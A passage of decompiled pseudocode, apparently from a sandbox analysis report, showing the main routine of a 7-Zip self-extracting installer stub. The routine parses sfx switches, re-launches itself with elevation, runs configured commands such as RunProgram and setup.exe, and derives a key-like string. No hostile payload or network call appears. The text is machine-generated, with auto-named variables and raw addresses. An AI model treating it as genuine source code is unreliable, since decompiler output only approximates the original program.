				signed int _t456;
				intOrPtr _t484;
				intOrPtr _t492;
				signed int _t509;
				signed int _t510;
				intOrPtr _t546;
				intOrPtr _t558;
				void* _t573;
				signed int _t592;
				signed int _t594;
				signed char _t596;
				signed int _t598;
				signed int _t603;
				WCHAR* _t605;
				void* _t610;
				intOrPtr _t612;
				signed int _t614;
				signed int _t616;
				void* _t641;
				signed int _t647;
				intOrPtr _t650;
				intOrPtr _t658;
				intOrPtr _t660;
				intOrPtr _t665;
				intOrPtr _t666;
				void* _t676;
				signed int _t679;
				void* _t682;
				signed int _t684;
				signed int _t685;
				intOrPtr _t689;
				signed short* _t690;
				signed int _t696;
				signed int _t697;
				void* _t698;
				signed int _t701;
				signed int _t703;
				signed int _t704;
				WCHAR* _t705;
				unsigned int _t712;
				signed int _t714;
				void* _t720;
				void* _t722;
				void* _t723;
				void* _t725;
				void* _t728;

				_t626 = __edx;
				_t720 = _t722 - 0x68;
				_t723 = _t722 - 0x2d4;
				__imp__?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z(E00405A8F, _t682, _t698, _t446);
				E00403834(__edx); // executed
				 *(_t720 - 0x26c) = 0x114;
				if(GetVersionExW(_t720 - 0x26c) == 0 ||  *((intOrPtr*)(_t720 - 0x25c)) != 2) {
					L215:
					MessageBoxA(0, "Sorry, this program requires Microsoft Windows 2000 or later.", "7-Zip SFX", 0x10);
					_t218 = 0x14;
					goto L216;
				} else {
					_t731 =  *((intOrPtr*)(_t720 - 0x268)) - 5;
					if( *((intOrPtr*)(_t720 - 0x268)) < 5) {
						goto L215;
					}
					";!@InstallEnd@!" = 0x3b;
					";!@Install@!UTF-8!" = 0x3b;
					E004147DF(E004147DF(E004147DF(_t216, _t720 + 0x24), _t720 - 0x48), _t720 - 8); // executed
					E0040541A(_t626); // executed
					E00414864(_t720 - 8, E00403022(GetCommandLineW(), _t720 + 0x24));
					E0040457E(_t720 - 8, _t682, _t731);
					_t684 =  *(_t720 - 8);
					E00404F69(L"SfxVarModulePlatform", L"x86", _t731, 1);
					E00404F69(L"SfxVarSystemPlatform", E00403EF5(_t731), _t731, 1);
					E00404F69(L"SfxVarCmdLine0", GetCommandLineW(), _t731, 1);
					wsprintfW(E0040420B(_t720 + 0x24, _t230, 0x20), L"%d",  *0x422730 & 0x0000ffff);
					_t725 = _t723 + 0xc;
					E004041F0(_t720 + 0x24);
					E00404F69(L"SfxVarSystemLanguage",  *((intOrPtr*)(_t720 + 0x24)), _t731, 1);
					_t237 = E004056BA(_t684, L"sfxlang");
					if(_t237 == 0 ||  *_t237 != 0x3a) {
						L8:
						_t238 = E004056BA(_t684, L"sfxversion");
						_t736 = _t238;
						if(_t238 == 0) {
							_t239 = E004056BA(_t684, L"sfxwaitall");
							__eflags = _t239;
							if(_t239 == 0) {
								_t635 = L"sfxelevation";
								 *((char*)(_t720 + 0x67)) = 0;
								_t240 = E004056BA(_t684, L"sfxelevation");
								__eflags = _t240;
								if(_t240 != 0) {
									 *((char*)(_t720 + 0x67)) = 1;
									_t684 = _t240;
								}
								_t243 = GetModuleFileNameW(0, E0040420B(0x422844, _t635, 0x208), 0x208);
								__eflags = _t243;
								if(_t243 != 0) {
									E004041F0(0x422844);
									_t636 = L"sfxtest";
									_t701 = E004056BA(_t684, L"sfxtest");
									__eflags = _t701;
									if(_t701 == 0) {
										L66:
										E004148C7(0x422794, 0x422844);
										E004148C7(0x4227ac, 0x422844);
										_t248 = E00403813(0x422844, __eflags);
										__eflags = _t248;
										if(__eflags >= 0) {
											_t605 =  *0x422794; // 0x9dee98
											 *0x422798 = _t248;
											 *((short*)(_t248 + _t248 + _t605)) = 0;
											_t406 =  *0x422844; // 0x2212c88
											_t38 = _t406 + 2; // 0x422846
											E00414864(0x4227ac, _t248 + _t248 + _t38);
											_t409 =  *0x422844; // 0x2212c88
											_t40 = _t409 + 2; // 0x422846
											E00414864(0x422890, _t248 + _t248 + _t40);
											_t412 = E00414A79(0x422890, 0x2e);
											__eflags = _t412;
											if(_t412 > 0) {
												_t636 =  *0x422890; // 0x22109c0
												__eflags = 0;
												 *0x422894 = _t412;
												 *((short*)(_t636 + _t412 * 2)) = 0;
											}
											E004148C7(0x42285c, 0x422890);
											_t610 = 4;
											E00414922(0x42285c, E00403CE0(_t610));
											_t416 =  *0x422890; // 0x22109c0
											_t612 =  *0x42285c; // 0x9def98
											 *0x422738 = _t416;
											 *0x422760 = _t612;
											 *0x422764 = _t416;
										}
										E00414864(0x422850, E00403EF5(__eflags));
										_t452 = 0x4227b8;
										_t251 = E004012CF(0x4227b8, __eflags,  *0x422844);
										__eflags = _t251;
										if(_t251 != 0) {
											E00405EEB(E004143C2(_t251, _t720 + 0x58), 0x4227a0);
											_t484 =  *0x4227bc; // 0x9d2650
											_t637 = 0; // executed
											_t255 = E00405319(_t484, 0, __eflags, _t720 + 0x58); // executed
											_t703 = _t255;
											__eflags = _t703;
											if(_t703 == 0) {
												__eflags =  *0x4228d8;
												if( *0x4228d8 != 0) {
													L84:
													__eflags =  *0x4228d8 - 4;
													if( *0x4228d8 == 4) {
														L119:
														_push( *((intOrPtr*)(_t720 + 0x58)));
														L0041C160();
														goto L10;
													}
													_t256 =  *0x422158; // 0x1
													_t704 = 0x422158;
													while(1) {
														__eflags = _t256;
														if(__eflags == 0) {
															break;
														}
														wsprintfW(_t720 - 0xa0, L"SfxString%d", _t256);
														_t725 = _t725 + 0xc;
														_t637 = E00403CE0( *_t704);
														E00404F69(_t720 - 0xa0, _t259, __eflags, 0); // executed
														_t704 = _t704 + 0x10;
														__eflags = _t704;
														_t256 =  *_t704;
													}
													_t488 = _t452;
													E004053FB(_t452, _t637, _t684);
													_t262 = E004016FE(__eflags);
													 *(_t720 + 0x10) = _t262;
													__eflags = _t262;
													if(_t262 != 0) {
														E00405729(_t488);
														_t705 = E00404F59();
														__eflags = _t705;
														if(__eflags == 0) {
															L101:
															E00405EEB(E00401303(_t452, __eflags), 0x4227a0);
															_t492 =  *0x4227bc; // 0x9d2650
															E00405319(_t492, 0, __eflags, 0); // executed
															E00405729(_t492);
															E00401368();
															E004016FE(__eflags);
															E00405729(_t452);
															__eflags =  *((char*)(_t720 + 0x67));
															if( *((char*)(_t720 + 0x67)) != 0) {
																L107:
																 *(_t720 + 0x3c) = 0;
																_t272 = E00404F59();
																while(1) {
																	_t685 = _t272;
																	__eflags = _t685;
																	if(_t685 == 0) {
																		break;
																	}
																	E00414803(_t720 + 0x40, _t685);
																	_t641 = 0x3d;
																	_t274 = E0041420C( *((intOrPtr*)(_t720 + 0x40)), _t641);
																	__eflags = _t274;
																	if(__eflags <= 0) {
																		_push( *((intOrPtr*)(_t720 + 0x40)));
																		L0041C160();
																		L113:
																		E00405D92(); // executed
																		__eflags =  *0x42245c - 0xffffffff;
																		if( *0x42245c == 0xffffffff) {
																			 *0x42245c = 0;
																		}
																		__eflags =  *0x4227cb; // 0x0
																		if(__eflags == 0) {
																			__eflags =  *0x4227c9; // 0x0
																			if(__eflags != 0) {
																				 *0x42245c =  *0x42245c & 0xfffffeff;
																				__eflags =  *0x42245c;
																			}
																			__imp__CoInitialize(0);
																			_t276 = E00404F59();
																			__eflags = _t276;
																			if(_t276 != 0) {
																				E00414864(0x42289c, _t276);
																				 *0x422740 = 1;
																			}
																			E00405517(0x42289c);
																			_t278 = E00404F59();
																			__eflags = _t278;
																			if(_t278 != 0) {
																				__imp___wtol(_t278);
																				 *0x422780 = _t278;
																			}
																			__eflags =  *0x4228e0; // 0x0
																			if(__eflags == 0) {
																				__eflags =  *0x4228d8 - 3;
																				if(__eflags != 0) {
																					_t709 = 0x41da3c;
																					E00404F69(L"SfxVarApiPath", 0x41da3c, __eflags, 0);
																					E00405D92();
																					_t281 = E00404F59();
																					__eflags = _t281;
																					if(_t281 != 0) {
																						__eflags =  *0x4227ca;
																						if( *0x4227ca == 0) {
																							E00407370(0x422868, 0);
																							_t665 =  *0x42286c; // 0x9ded58
																							E00404F69(L"SfxVarApiPath", _t665, __eflags, 0);
																							E00405D92();
																							E00414803(_t720 + 0x30, 0x41da3c);
																							E00407370(0x422868, _t665);
																							_t666 =  *0x42286c; // 0x9ded58
																							E004022F7(L"ExecuteOnLoad", _t666, 0x41da3c, _t720 + 0x30, 0x41da3c);
																							_push( *((intOrPtr*)(_t720 + 0x30)));
																							L0041C160();
																						}
																					}
																					E0040830C(0x4227f0);
																					while(1) {
																						_t283 = E00404F59();
																						__eflags = _t283;
																						if(_t283 == 0) {
																							goto L142;
																						}
																						__eflags =  *0x4227c9;
																						if( *0x4227c9 != 0) {
																							goto L142;
																						}
																						_t558 =  *0x422738; // 0x22109c0
																						_t350 = E00408B40(_t558, _t283);
																						__eflags = _t350;
																						if(_t350 == 0) {
																							_push( *((intOrPtr*)(_t720 + 0x58)));
																							L0041C160();
																							L165:
																							_push(5);
																							goto L22;
																						}
																						_t283 = GetKeyState(0x10);
																						__eflags = 0x00008000 & _t283;
																						if((0x00008000 & _t283) != 0) {
																							 *0x4227c8 = 0x101;
																						}
																						__eflags =  *0x4228c0;
																						if( *0x4228c0 != 0) {
																							 *0x42245c =  *0x42245c & 0xffffff7f;
																							__eflags =  *0x42245c;
																						}
																						L142:
																						E004147DF(_t283, _t720 + 0x4c);
																						__eflags =  *0x4227c8;
																						if( *0x4227c8 == 0) {
																							L152:
																							__eflags =  *(_t720 + 0x50);
																							 *((char*)(_t720 + 0x14)) = 0;
																							if( *(_t720 + 0x50) == 0) {
																								_t339 = E00404F59();
																								__eflags = _t339;
																								if(_t339 != 0) {
																									E00414864(_t720 + 0x4c, L"ExecuteFile");
																									 *((char*)(_t720 + 0x14)) = 1;
																								}
																								__eflags =  *(_t720 + 0x50);
																								if( *(_t720 + 0x50) == 0) {
																									_t340 = E00404F59();
																									__eflags = _t340;
																									if(_t340 != 0) {
																										E00414864(_t720 + 0x4c, L"RunProgram");
																									}
																								}
																							}
																							__eflags =  *0x4227c8;
																							if( *0x4227c8 != 0) {
																								L168:
																								__eflags =  *0x4228a0;
																								if(__eflags != 0) {
																									E00414839(_t720 + 0x18, 0x42289c);
																									E00405517(_t720 + 0x18);
																									__eflags =  *(_t720 + 0x1c);
																									if( *(_t720 + 0x1c) != 0) {
																										E004148C7(0x42289c, _t720 + 0x18);
																									}
																									_push( *((intOrPtr*)(_t720 + 0x18)));
																									 *0x422740 = 1;
																									L0041C160();
																								} else {
																									E004148C7(0x42289c, E004042B5(L"7ZipSfx.%03x", __eflags));
																									_push( *((intOrPtr*)(_t720 - 0x14)));
																									L0041C160();
																									 *0x422740 = 0;
																								}
																								_t287 =  *0x42289c; // 0x2214528
																								_t509 =  *0x4228a0; // 0x2c
																								_t162 = _t509 * 2; // 0x430e01
																								_t647 =  *(_t287 + _t162 - 2) & 0x0000ffff;
																								__eflags = _t647 - 0x5c;
																								if(_t647 == 0x5c) {
																									L175:
																									_t510 = _t509 - 1;
																									__eflags = 0;
																									 *0x4228a0 = _t510;
																									 *((short*)(_t287 + _t510 * 2)) = 0;
																									goto L176;
																								} else {
																									__eflags = _t647 - 0x2f;
																									if(_t647 != 0x2f) {
																										L176:
																										__eflags =  *0x4227c9;
																										if( *0x4227c9 != 0) {
																											 *0x422774 =  *0x422774 | 0x00000003;
																											__eflags =  *0x422774;
																										}
																										E00414803(_t720 - 0x20, L"PreExtract");
																										_t289 =  *0x4227c4; // 0x41d648
																										E00401585(_t720 - 0x20,  *_t289 & 0x0000ffff);
																										_t649 = 0;
																										_t292 = E00404F59();
																										__eflags = _t292;
																										if(_t292 != 0) {
																											__eflags =  *0x4227ca;
																											if( *0x4227ca == 0) {
																												E00407370(0x422868, 0);
																												_t658 =  *0x42286c; // 0x9ded58
																												E00404F69(L"SfxVarApiPath", _t658, __eflags, 0);
																												E00405D92();
																												E00414803(_t720 + 0x30, _t709);
																												_t328 =  *0x4227c4; // 0x41d648
																												 *(_t720 - 0x24) = _t328;
																												E00407370(0x422868, _t658);
																												_t649 =  *0x42286c; // 0x9ded58
																												E004022F7(L"PreExtract", _t649,  *(_t720 - 0x24), _t720 + 0x30, _t709); // executed
																												_push( *((intOrPtr*)(_t720 + 0x30)));
																												L0041C160();
																											}
																										}
																										__eflags =  *0x4228d4;
																										if(__eflags != 0) {
																											_t293 = E00408C2E(_t649);
																											__eflags = _t293;
																											if(_t293 != 0) {
																												goto L187;
																											}
																											_t322 = 0x80004005;
																											goto L185;
																										} else {
																											_t322 = E00402CB1(0x42289c, _t649, __eflags); // executed
																											L185:
																											__eflags = _t322;
																											if(_t322 == 0) {
																												L187:
																												_t294 = E00405D92(); // executed
																												__eflags =  *0x4227ca;
																												if( *0x4227ca == 0) {
																													L189:
																													E004147DF(E004147DF(_t294, _t720 + 0x40), _t720 + 4);
																													__eflags =  *0x4227c8;
																													if( *0x4227c8 == 0) {
																														E00401B82(_t720 + 0x40);
																													}
																													_t455 = 0;
																													__eflags =  *(_t720 + 0x50);
																													if( *(_t720 + 0x50) != 0) {
																														_t650 =  *0x42289c; // 0x2214528
																														E004022F7( *((intOrPtr*)(_t720 + 0x4c)), _t650,  *0x4227c4, _t720 + 0x40,  *(_t720 + 0x10));
																														goto L197;
																													} else {
																														__eflags =  *0x422740 - _t455; // 0x1
																														if(__eflags != 0) {
																															L197:
																															__eflags =  *0x4228d8 - _t455; // 0x0
																															if(__eflags == 0) {
																																E00405D92();
																																E004059A3(E00405DE7, L"Shortcut", __eflags,  *0x4227c4, 0xffffffff);
																																SetCurrentDirectoryW( *0x422794); // executed
																																E004059A3(E00405979, L"Delete", __eflags,  *0x4227c4, 0xffffffff); // executed
																																E00405A7A();
																															}
																															_push( *(_t720 + 4));
																															L0041C160();
																															_push( *((intOrPtr*)(_t720 + 0x40)));
																															L0041C160();
																															L201:
																															__eflags =  *0x422468 - 0xffffffff;
																															if( *0x422468 != 0xffffffff) {
																																L204:
																																__eflags =  *0x422468 - _t455; // 0x1
																																if(__eflags > 0) {
																																	_t709 = E00404F59();
																																	__eflags = _t709 - _t455;
																																	if(_t709 != _t455) {
																																		__eflags =  *0x422468 - 0x3e7; // 0x1
																																		if(__eflags > 0) {
																																			 *0x422468 = 0x3e7;
																																		}
																																		E004075CF(_t720 - 0x98, 0, __eflags);
																																		 *((intOrPtr*)(_t720 - 0x98)) = 0x41ebb4;
																																		 *((intOrPtr*)(_t720 - 0x60)) = 0x7d5;
																																		E00407630(E00407941(_t720 - 0x98, 0x11,  *0x422738, _t709, _t455), _t720 - 0x98);
																																	}
																																}
																																L209:
																																__eflags =  *0x4227ca;
																																if( *0x4227ca == 0) {
																																	__eflags =  *0x4228d8 - _t455; // 0x0
																																	if(__eflags == 0) {
																																		_t299 = E00404F59();
																																		__eflags = _t299 - _t455;
																																		if(_t299 != _t455) {
																																			__eflags =  *_t299 - 0x31;
																																			if( *_t299 == 0x31) {
																																				E00414839(_t725, 0x422844);
																																				E00405AA6(_t709);
																																			}
																																		}
																																	}
																																}
																																_push( *((intOrPtr*)(_t720 - 0x20)));
																																L0041C160();
																																_push( *((intOrPtr*)(_t720 + 0x4c)));
																																L0041C160();
																																_push( *((intOrPtr*)(_t720 + 0x58)));
																																L0041C160();
																																_push( *(_t720 - 8));
																																L0041C160();
																																_push( *((intOrPtr*)(_t720 - 0x48)));
																																L0041C160();
																																_push( *((intOrPtr*)(_t720 + 0x24)));
																																L0041C160();
																																_t218 = 0;
																																goto L216;
																															}
																															__eflags =  *0x4227c9;
																															if( *0x4227c9 != 0) {
																																goto L209;
																															}
																															 *0x422468 = 1;
																															goto L204;
																														}
																														_t709 = L"setup.exe";
																														_t656 = E00414787(_t720 - 0x3c, 0x42289c, "\\");
																														E00414864(_t720 + 4,  *((intOrPtr*)(E00414787(_t720 - 0x14, _t312, L"setup.exe"))));
																														_push( *((intOrPtr*)(_t720 - 0x14)));
																														L0041C160();
																														_push( *((intOrPtr*)(_t720 - 0x3c)));
																														L0041C160();
																														_t315 = GetFileAttributesW( *(_t720 + 4));
																														__eflags = _t315 - 0xffffffff;
																														if(_t315 != 0xffffffff) {
																															_t689 =  *0x42289c; // 0x2214528
																															E00414803(_t720 + 0x30, L"setup.exe");
																															E00402008(_t720 + 0x30, _t689,  *((intOrPtr*)(_t720 + 0x14)), _t720 + 0x40,  *(_t720 + 0x10));
																															_push( *((intOrPtr*)(_t720 + 0x30)));
																															L0041C160();
																															goto L197;
																														}
																														E00405A7A();
																														_push(0xf);
																														_push(0);
																														E00409684(_t656);
																														_push( *(_t720 + 4));
																														L0041C160();
																														_push( *((intOrPtr*)(_t720 + 0x40)));
																														L0041C160();
																														_push( *((intOrPtr*)(_t720 - 0x20)));
																														L0041C160();
																														_push( *((intOrPtr*)(_t720 + 0x4c)));
																														L0041C160();
																														_push( *((intOrPtr*)(_t720 + 0x58)));
																														L0041C160();
																														_t725 = _t725 + 0x1c;
																														L35:
																														_push(7);
																														goto L22;
																													}
																												}
																												__eflags =  *0x422740;
																												if( *0x422740 != 0) {
																													_t455 = 0;
																													__eflags = 0;
																													goto L201;
																												}
																												goto L189;
																											}
																											E00405A7A();
																											_push( *((intOrPtr*)(_t720 - 0x20)));
																											L0041C160();
																											_push( *((intOrPtr*)(_t720 + 0x4c)));
																											L0041C160();
																											_push( *((intOrPtr*)(_t720 + 0x58)));
																											L0041C160();
																											_t725 = _t725 + 0xc;
																											_push(8);
																											goto L22;
																										}
																									}
																									goto L175;
																								}
																							} else {
																								__eflags =  *0x4227c9;
																								if( *0x4227c9 != 0) {
																									goto L168;
																								}
																								_t336 =  *0x42245c; // 0x0
																								__eflags = (_t336 & 0x000000c0) - 0x80;
																								if((_t336 & 0x000000c0) != 0x80) {
																									goto L168;
																								}
																								_t660 =  *0x422748; // 0x9dbbc0
																								_t546 =  *0x422754; // 0x9dbb90
																								_t338 = E00408BDB(_t546, _t660);
																								__eflags = _t338;
																								if(_t338 != 0) {
																									goto L168;
																								}
																								_push( *((intOrPtr*)(_t720 + 0x4c)));
																								__eflags =  *0x422784 - _t338; // 0x0
																								if(__eflags == 0) {
																									L0041C160();
																									_push( *((intOrPtr*)(_t720 + 0x58)));
																									L0041C160();
																									goto L165;
																								}
																								L0041C160();
																								continue;
																							}
																						}
																						_t690 =  *0x4227c4; // 0x41d648
																						while(1) {
																							E00414864(_t720 + 0x4c, L"AutoInstall");
																							E00401585(_t720 + 0x4c,  *_t690 & 0x0000ffff);
																							_t346 = E00404F59();
																							__eflags = _t346;
																							if(_t346 == 0) {
																								break;
																							}
																							_t690 =  &(_t690[1]);
																							_t348 =  *_t690 & 0x0000ffff;
																							__eflags = _t348 - 0x30;
																							if(_t348 < 0x30) {
																								L147:
																								__eflags = _t348 - 0x61;
																								if(_t348 < 0x61) {
																									L149:
																									__eflags = _t348 - 0x41;
																									if(_t348 < 0x41) {
																										L151:
																										E00414864(_t720 + 0x4c, L"AutoInstall");
																										goto L152;
																									}
																									__eflags = _t348 - 0x5a;
																									if(_t348 <= 0x5a) {
																										continue;
																									}
																									goto L151;
																								}
																								__eflags = _t348 - 0x7a;
																								if(_t348 <= 0x7a) {
																									continue;
																								}
																								goto L149;
																							}
																							__eflags = _t348 - 0x39;
																							if(_t348 <= 0x39) {
																								continue;
																							}
																							goto L147;
																						}
																						E00409684(0, 0, 0xe,  *((intOrPtr*)(_t720 + 0x4c)));
																						_push( *((intOrPtr*)(_t720 + 0x4c)));
																						L0041C160();
																						_push( *((intOrPtr*)(_t720 + 0x58)));
																						L0041C160();
																						_t725 = _t725 + 0x14;
																						_push(6);
																						goto L22;
																					}
																				}
																				_t358 = E00409E83();
																				goto L128;
																			} else {
																				_t358 = E00409F61();
																				L128:
																				_t703 = _t358;
																				goto L73;
																			}
																		} else {
																			_t360 = E00404F59();
																			_t710 = _t360;
																			__eflags = _t360;
																			if(__eflags == 0) {
																				_t573 = 0x18;
																				_t710 = E00403CE0(_t573);
																			}
																			E004075CF(_t720 - 0x9c, 0, __eflags);
																			 *((intOrPtr*)(_t720 - 0x9c)) = 0x41eaa0;
																			 *((intOrPtr*)(_t720 - 0x64)) = 0x7d6;
																			E00407630(E00407941(_t720 - 0x9c, 0x11,  *0x422738, _t710, 0), _t720 - 0x9c);
																			goto L119;
																		}
																	}
																	 *(_t720 + 0x44) = _t274;
																	 *((short*)( *((intOrPtr*)(_t720 + 0x40)) + _t274 + _t274)) = 0;
																	_t120 = _t685 + 2; // 0x2
																	E00404F69( *((intOrPtr*)(_t720 + 0x40)), _t274 + _t274 + _t120, __eflags, 0);
																	_push( *((intOrPtr*)(_t720 + 0x40)));
																	_t122 = _t720 + 0x3c;
																	 *_t122 =  *(_t720 + 0x3c) + 1;
																	__eflags =  *_t122;
																	L0041C160();
																	_t272 = E00404F59();
																}
																goto L113;
															}
															__eflags =  *0x422774 & 0x00000004;
															if(( *0x422774 & 0x00000004) == 0) {
																goto L107;
															}
															_t367 = E00403F0A();
															__eflags = _t367;
															if(_t367 != 0) {
																goto L107;
															}
															E004147DF(E004147DF(_t367, _t720 + 0x18), _t720 - 0x30);
															E00414803(_t720 + 0x30, E00403022(GetCommandLineW(), _t720 + 0x18));
															E004146E1(_t720 + 4, __eflags, E00414787(_t720 - 0xac, E00414787(_t720 - 0x3c, E004147B1(_t720 - 0x14, "\"", _t720 + 0x18), L"\" -"), L"sfxelevation"), 0x20);
															E00414864(_t720 - 0x30,  *((intOrPtr*)(E0041476B(_t720 + 0x40, _t720 + 4, _t720 + 0x30))));
															_push( *((intOrPtr*)(_t720 + 0x40)));
															L0041C160();
															_push( *(_t720 + 4));
															L0041C160();
															_push( *((intOrPtr*)(_t720 - 0xac)));
															L0041C160();
															_push( *((intOrPtr*)(_t720 - 0x3c)));
															L0041C160();
															_push( *((intOrPtr*)(_t720 - 0x14)));
															L0041C160();
															_t728 = _t725 + 0x14;
															SetProcessWorkingSetSize(GetCurrentProcess(), 0xffffffff, 0xffffffff);
															_push(0);
															_t676 = 2;
															_t383 = E00401C59( *((intOrPtr*)(_t720 - 0x30)), _t676, __eflags);
															_push( *((intOrPtr*)(_t720 + 0x30)));
															__eflags = _t383;
															if(_t383 != 0) {
																L0041C160();
																_push( *((intOrPtr*)(_t720 - 0x30)));
																L0041C160();
																_push( *((intOrPtr*)(_t720 + 0x18)));
																L0041C160();
																_push( *((intOrPtr*)(_t720 + 0x58)));
																L0041C160();
																_t725 = _t728 + 0x10;
																goto L10;
															}
															L0041C160();
															_push( *((intOrPtr*)(_t720 - 0x30)));
															L0041C160();
															_push( *((intOrPtr*)(_t720 + 0x18)));
															L0041C160();
															_push( *((intOrPtr*)(_t720 + 0x58)));
															L0041C160();
															_t725 = _t728 + 0x10;
															_push(0xb);
															goto L22;
														}
														E0040B100(_t720 - 0x158);
														E0040B350(_t720 - 0x158, _t705, lstrlenW(_t705) + _t385);
														E0040B600(_t720 - 0x158, _t720 - 0xcc);
														_t592 = 8;
														memcpy(_t720 - 0xf0, "123456789ABCDEFGHJKMNPQRSTUVWXYZ", _t592 << 2);
														_t725 = _t725 + 0xc;
														asm("movsb");
														_t594 = 0;
														__eflags = 0;
														do {
															_t679 =  *(_t720 + _t594 * 4 - 0xbc);
															 *(_t720 + _t594 * 4 - 0xcc) =  *(_t720 + _t594 * 4 - 0xcc) ^ _t679;
															_t594 = _t594 + 1;
															__eflags = _t594 - 4;
														} while (_t594 < 4);
														_t456 = 0;
														_t696 = 0;
														__eflags = 0;
														do {
															asm("cdq");
															_t679 = _t679 & 0x00000007;
															_t712 =  *(_t720 + (_t696 + _t679 >> 3) - 0xcc) & 0x000000ff;
															_t596 = _t696 & 0x80000007;
															__eflags = _t596;
															if(_t596 < 0) {
																_t596 = (_t596 - 0x00000001 | 0xfffffff8) + 1;
																__eflags = _t596;
															}
															_t714 = _t712 >> _t596 & 0x0000001f;
															__eflags = _t696;
															if(_t696 != 0) {
																asm("cdq");
																_t598 = 0x19;
																_t679 = _t696 % _t598;
																__eflags = _t679;
																if(_t679 == 0) {
																	_t400 = 0x2d;
																	 *((short*)(_t720 + _t456 * 2 - 0x88)) = _t400;
																	_t456 = _t456 + 1;
																	__eflags = _t456;
																}
															}
															 *((short*)(_t720 + _t456 * 2 - 0x88)) =  *((char*)(_t720 + _t714 - 0xf0));
															_t696 = _t696 + 5;
															_t456 = _t456 + 1;
															__eflags = _t696 - 0x7d;
														} while (_t696 < 0x7d);
														__eflags = 0;
														 *((short*)(_t720 + _t456 * 2 - 0x88)) = 0;
														E00414864(0x422708, _t720 - 0x88);
														 *0x422700 = 1;
														_t452 = 0x4227b8;
														goto L101;
													}
													_push( *((intOrPtr*)(_t720 + 0x58)));
													L0041C160();
													_push(0x20);
													goto L22;
												}
												_t637 = L"sfxconfig";
												_t401 = E004056BA(_t684, L"sfxconfig");
												__eflags = _t401;
												if(_t401 == 0) {
													goto L84;
												}
												__eflags =  *_t401 - 0x3a;
												if( *_t401 == 0x3a) {
													_t401 =  &(_t401[1]);
													__eflags = _t401;
												}
												_t603 =  *_t401 & 0x0000ffff;
												__eflags = _t603;
												if(_t603 == 0) {
													goto L119;
												} else {
													while(1) {
														__eflags = _t603 - 0x20;
														if(_t603 > 0x20) {
															break;
														}
														_t401 =  &(_t401[1]);
														_t603 =  *_t401 & 0x0000ffff;
														__eflags = _t603;
														if(_t603 != 0) {
															continue;
														}
														break;
													}
													__eflags =  *_t401;
													if( *_t401 == 0) {
														goto L119;
													}
													_t680 = _t720 + 0x58;
													_t402 = E00405F0F(_t401, _t720 + 0x58);
													__eflags = _t402;
													if(_t402 != 0) {
														goto L119;
													}
													_push(0xa);
													_push(0);
													E00409684(_t680);
													_push( *((intOrPtr*)(_t720 + 0x58)));
													L0041C160();
													_t725 = _t725 + 0xc;
													_push(4);
													goto L22;
												}
											}
											L73:
											_push( *((intOrPtr*)(_t720 + 0x58)));
											L0041C160();
											goto L18;
										} else {
											E00409684(_t636, 1, 7,  *0x422844);
											_t725 = _t725 + 0xc;
											_push(2);
											L22:
											_pop(_t703);
											goto L11;
										}
									}
									__eflags =  *_t701 - 0x3a;
									if( *_t701 == 0x3a) {
										_t614 =  *(_t701 + 2) & 0x0000ffff;
										_t697 = 0x20;
										_t419 = (_t614 | _t697) - 0x61;
										__eflags = _t419;
										if(_t419 == 0) {
											 *0x4228d8 = 2;
											while(1) {
												L57:
												__eflags =  *_t701 - _t697;
												if( *_t701 <= _t697) {
													break;
												}
												_t701 = _t701 + 2;
												__eflags = _t701;
											}
											_t636 = L"sfxconfig";
											_t684 = _t701;
											_t420 = E004056BA(_t701, L"sfxconfig");
											__eflags = _t420;
											if(_t420 == 0) {
												goto L66;
											}
											__eflags =  *_t420 - 0x3a;
											if( *_t420 != 0x3a) {
												L63:
												_t616 =  *_t420 & 0x0000ffff;
												__eflags = _t616;
												if(_t616 != 0) {
													__eflags = _t616 - 0x20;
													if(_t616 > 0x20) {
														goto L64;
													}
													L62:
													_t420 = _t420 + 2;
													__eflags = _t420;
													goto L63;
												}
												L64:
												 *(_t720 + 0x28) =  *(_t720 + 0x28) & 0x00000000;
												 *((short*)( *((intOrPtr*)(_t720 + 0x24)))) = 0;
												_t636 = _t720 + 0x24;
												_t421 = E00403022(_t420, _t720 + 0x24);
												__eflags =  *0x4228d8 - 2;
												_t684 = _t421;
												if( *0x4228d8 != 2) {
													E004148C7(0x422844, _t720 + 0x24);
												}
												goto L66;
											}
											goto L62;
										}
										_t425 = _t419;
										__eflags = _t425;
										if(_t425 == 0) {
											__eflags =  *(_t701 + 4) - 0x63;
											 *0x4228d8 = (0 |  *(_t701 + 4) == 0x00000063) + 3;
											goto L57;
										}
										_t429 = _t425 - 1;
										__eflags = _t429;
										if(_t429 == 0) {
											__eflags = _t614 - 0x44;
											if(_t614 != 0x44) {
												_t701 = _t701 + 4;
												__eflags = _t701;
												L49:
												 *0x4228d4 =  *0x4228d4 & 0x00000000;
												__eflags =  *_t701 - 0x3a;
												if( *_t701 != 0x3a) {
													L52:
													 *0x4228d4 = 0xa;
													L53:
													 *0x4228d8 = 1;
													goto L57;
												}
												_t26 = _t701 + 2; // -2
												_t430 = _t26;
												__imp___wtol(_t430);
												 *0x4228d4 = _t430;
												__eflags = _t430 - 0xe10;
												if(_t430 > 0xe10) {
													goto L52;
												}
												__eflags = _t430;
												if(_t430 != 0) {
													goto L53;
												}
												goto L52;
											}
											__eflags =  *(_t701 + 4) - 0x3a;
											if( *(_t701 + 4) != 0x3a) {
												goto L21;
											}
											_t701 = _t701 + 6;
											while(1) {
												_t431 =  *_t701 & 0x0000ffff;
												__eflags = _t431 - _t697;
												if(_t431 <= _t697) {
													break;
												}
												__eflags = _t431 - 0x3a;
												if(_t431 == 0x3a) {
													break;
												}
												E00401585(0x4228dc, _t431 & 0x0000ffff);
												_t701 = _t701 + 2;
												__eflags = _t701;
											}
											__eflags =  *0x4228e0;
											if( *0x4228e0 != 0) {
												goto L49;
											}
											goto L21;
										}
										_t434 = _t429 - 0xb;
										__eflags = _t434;
										if(_t434 == 0) {
											__eflags =  *(_t701 + 4) - 0x3a;
											if( *(_t701 + 4) != 0x3a) {
												goto L10;
											}
											_t436 = ( *(_t701 + 6) & 0x0000ffff) - 0x31;
											__eflags = _t436;
											if(_t436 == 0) {
												_t703 = 1;
												goto L11;
											}
											_t437 = _t436 - 1;
											__eflags = _t437;
											if(_t437 == 0) {
												_t703 = 0x5ff;
												goto L11;
											}
											_t438 = _t437 - 1;
											__eflags = _t438;
											if(_t438 == 0) {
												_push(0x1f);
												goto L22;
											}
											_t439 = _t438 - 1;
											__eflags = _t439;
											if(_t439 == 0) {
												_t703 = 0x3fff;
												goto L11;
											}
											__eflags = _t439 != 1;
											if(_t439 != 1) {
												goto L10;
											}
											goto L35;
										}
										__eflags = _t434 != 7;
										if(_t434 != 7) {
